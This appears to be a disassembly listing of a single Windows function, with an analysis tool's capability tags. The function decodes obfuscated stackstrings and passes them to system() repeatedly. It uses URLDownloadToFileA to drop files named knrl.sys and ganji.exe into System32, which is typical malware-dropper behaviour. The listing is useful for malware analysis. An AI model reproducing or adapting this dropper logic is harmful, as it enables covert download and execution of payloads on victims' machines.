Function at 0x140001660
Capabilities:
Contain obfuscated stackstrings
Download url
Execute command
Receive data

Disassembly:
push rbp
lea rbp, [rsp - 0x40]
sub rsp, 0x140
movdqa xmm0, xmmword [0x1400d8330]
lea rcx, [rsp + 0x30]
movdqa xmm1, xmmword [0x1400d8600]
movdqu xmmword [rsp + 0x30], xmm0
mov byte [rsp + 0x60], 1
movdqa xmm0, xmmword [0x1400d8260]
movdqu xmmword [rsp + 0x50], xmm0
movdqu xmmword [rsp + 0x40], xmm1
call fcn.1400034e0
lea rcx, [rsp + 0x30]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400d8330]
lea rcx, [rsp + 0x30]
movdqa xmm1, xmmword [0x1400d8540]
movdqu xmmword [rsp + 0x30], xmm0
mov dword [rsp + 0x60], 0x1b0f16
movdqa xmm0, xmmword [str.vzrn3gE]
movdqu xmmword [rsp + 0x50], xmm0
mov byte [rsp + 0x64], 1
movdqu xmmword [rsp + 0x40], xmm1
call fcn.1400034b0
lea rcx, [rsp + 0x30]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400d8330]
lea rcx, [rsp + 0x30]
movdqa xmm1, xmmword [0x1400d8650]
movdqu xmmword [rsp + 0x30], xmm0
mov dword [rsp + 0x50], 0x293a756d
movdqu xmmword [rsp + 0x40], xmm1
mov dword [rsp + 0x54], 0x2f3b22
mov byte [rsp + 0x58], 1
call fcn.140003480
lea rcx, [rsp + 0x30]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400d8330]
lea rcx, [rsp + 0x30]
movdqa xmm1, xmmword [0x1400d8550]
movdqu xmmword [rsp + 0x30], xmm0
mov dword [rsp + 0x50], 0x25283974
movdqu xmmword [rsp + 0x40], xmm1
mov dword [rsp + 0x54], 0x1002c3a
call fcn.140003450
lea rcx, [rsp + 0x30]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400d8330]
lea rcx, [rsp + 0x30]
movdqa xmm1, xmmword [0x1400d8610]
movdqu xmmword [rsp + 0x30], xmm0
mov byte [rsp + 0x60], 1
movdqa xmm0, xmmword [0x1400d8260]
movdqu xmmword [rsp + 0x50], xmm0
movdqu xmmword [rsp + 0x40], xmm1
call fcn.1400034e0
lea rcx, [rsp + 0x30]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400d8330]
lea rcx, [rsp + 0x30]
movdqa xmm1, xmmword [0x1400d8490]
movdqu xmmword [rsp + 0x30], xmm0
mov dword [rsp + 0x60], 0x4514094d
movdqa xmm0, xmmword [0x1400d8510]
movdqu xmmword [rsp + 0x50], xmm0
mov dword [rsp + 0x64], 0x1d0e4159
movdqu xmmword [rsp + 0x40], xmm1
mov dword [rsp + 0x68], 0x3170e
mov byte [rsp + 0x6c], 1
call fcn.140003420
lea rcx, [rsp + 0x30]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400d8580]
lea rcx, [rsp + 0x30]
movdqu xmmword [rsp + 0x30], xmm0
mov dword [rsp + 0x40], 0x6534296d
mov dword [rsp + 0x44], 0x3d2e6179
mov dword [rsp + 0x48], 0x23372e
mov byte [rsp + 0x4c], 1
call fcn.1400033f0
lea rcx, [rsp + 0x30]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400d8340]
movdqu xmmword [rsp + 0x30], xmm0
lea rcx, [rsp + 0x30]
mov dword [rsp + 0x40], 0x677f6736
mov dword [rsp + 0x44], 0x29303f2c
mov word [rsp + 0x48], reloc.WLDAP32.dll_Ordinal_33
mov byte [rsp + 0x4a], 1
call fcn.1400033c0
lea rcx, [rsp + 0x30]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400d85d0]
lea rcx, [rsp + 0x30]
movdqa xmm1, xmmword [str.Kaojx_0ae2_3]
movdqu xmmword [rsp + 0x30], xmm0
mov byte [rsp + 0x50], 1
movdqu xmmword [rsp + 0x40], xmm1
call fcn.140003390
lea rcx, [rsp + 0x30]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400d85d0]
lea rcx, [rsp + 0x30]
movdqa xmm1, xmmword [0x1400d8350]
movdqu xmmword [rsp + 0x30], xmm0
mov dword [rsp + 0x50], 0x100283e
movdqu xmmword [rsp + 0x40], xmm1
call fcn.140003360
lea rcx, [rsp + 0x30]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400d8590]
lea rcx, [rbp - 0x80]
movdqa xmm1, xmmword [0x1400d8640]
movdqa xmmword [rbp - 0x80], xmm0
movdqa xmm0, xmmword [0x1400d82e0]
movdqa xmmword [rbp - 0x60], xmm0
movdqa xmm0, xmmword [0x1400d8370]
movdqa xmmword [rbp - 0x70], xmm1
movdqa xmm1, xmmword [0x1400d8280]
movdqa xmmword [rbp - 0x40], xmm0
movdqa xmm0, xmmword [0x1400d84a0]
movdqa xmmword [rbp - 0x50], xmm1
movdqa xmm1, xmmword [0x1400d8570]
movdqa xmmword [rbp - 0x20], xmm0
movdqa xmm0, xmmword [0x1400d8710]
movdqa xmmword [rbp - 0x30], xmm1
movdqa xmm1, xmmword [0x1400d84d0]
movdqa xmmword [rbp], xmm0
movdqa xmm0, xmmword [0x1400d86f0]
movdqa xmmword [rbp - 0x10], xmm1
movdqa xmm1, xmmword [0x1400d86c0]
movdqa xmmword [rbp + 0x20], xmm0
movdqa xmmword [rbp + 0x10], xmm1
mov dword [rbp + 0x30], 0x8dc9ca9a
mov word [rbp + 0x34], 0x100
call fcn.140003330
xor r9d, r9d
mov qword [rsp + 0x20], 0
lea r8, str.C:_Windows_System32_knrl.sys
xor ecx, ecx
lea rdx, [rbp - 0x80]
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movdqa xmm0, xmmword [0x1400d8590]
movdqa xmm1, xmmword [0x1400d8640]
movdqa xmmword [rbp - 0x80], xmm0
movdqa xmm0, xmmword [0x1400d82e0]
movdqa xmmword [rbp - 0x60], xmm0
movdqa xmm0, xmmword [0x1400d8320]
movdqa xmmword [rbp - 0x70], xmm1
movdqa xmm1, xmmword [0x1400d8280]
movdqa xmmword [rbp - 0x40], xmm0
movdqa xmm0, xmmword [0x1400d84f0]
movdqa xmmword [rbp - 0x50], xmm1
movdqa xmm1, xmmword [0x1400d8390]
movdqa xmmword [rbp - 0x20], xmm0
movdqa xmm0, xmmword [str.HNILI]
movdqa xmmword [rbp - 0x30], xmm1
movdqa xmm1, xmmword [0x1400d8300]
movdqa xmmword [rbp], xmm0
movdqa xmm0, xmmword [0x1400d8700]
movdqa xmmword [rbp - 0x10], xmm1
movdqa xmm1, xmmword [0x1400d86b0]
movdqa xmmword [rbp + 0x20], xmm0
movdqa xmmword [rbp + 0x10], xmm1
mov dword [rbp + 0x30], 0xc89391ce
lea rcx, [rbp - 0x80]
mov word [rbp + 0x34], Ordinal_143
mov byte [rbp + 0x36], 1
call fcn.140003300
xor r9d, r9d
mov qword [rsp + 0x20], 0
lea r8, str.C:_Windows_System32_ganji.exe
xor ecx, ecx
lea rdx, [rbp - 0x80]
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movdqa xmm0, xmmword [0x1400d8630]
lea rcx, [rsp + 0x30]
movdqa xmm1, xmmword [0x1400d83a0]
movdqa xmmword [rsp + 0x30], xmm0
movdqa xmm0, xmmword [0x1400d8620]
movdqa xmmword [rsp + 0x40], xmm1
movdqa xmm1, xmmword [0x1400d84e0]
movdqa xmmword [rsp + 0x50], xmm0
movdqa xmmword [rsp + 0x60], xmm1
mov dword [rsp + 0x70], 0x4e540718
mov word [rsp + 0x74], 0x50
mov byte [rsp + 0x76], 1
call fcn.1400032d0
lea rcx, [rsp + 0x30]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
movdqa xmm0, xmmword [0x1400d8630]
lea rcx, [rsp + 0x30]
movdqa xmm1, xmmword [0x1400d83a0]
movdqa xmmword [rsp + 0x30], xmm0
movdqa xmm0, xmmword [0x1400d8620]
movdqa xmmword [rsp + 0x40], xmm1
movdqa xmm1, xmmword [0x1400d84e0]
movdqa xmmword [rsp + 0x50], xmm0
movdqa xmmword [rsp + 0x60], xmm1
mov dword [rsp + 0x70], 0x4e540718
mov word [rsp + 0x74], 0x50
mov byte [rsp + 0x76], 1
call fcn.1400032d0
lea rcx, [rsp + 0x30]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x7d0
add rsp, 0x140
pop rbp
jmp qword [sym.imp.KERNEL32.dll_Sleep]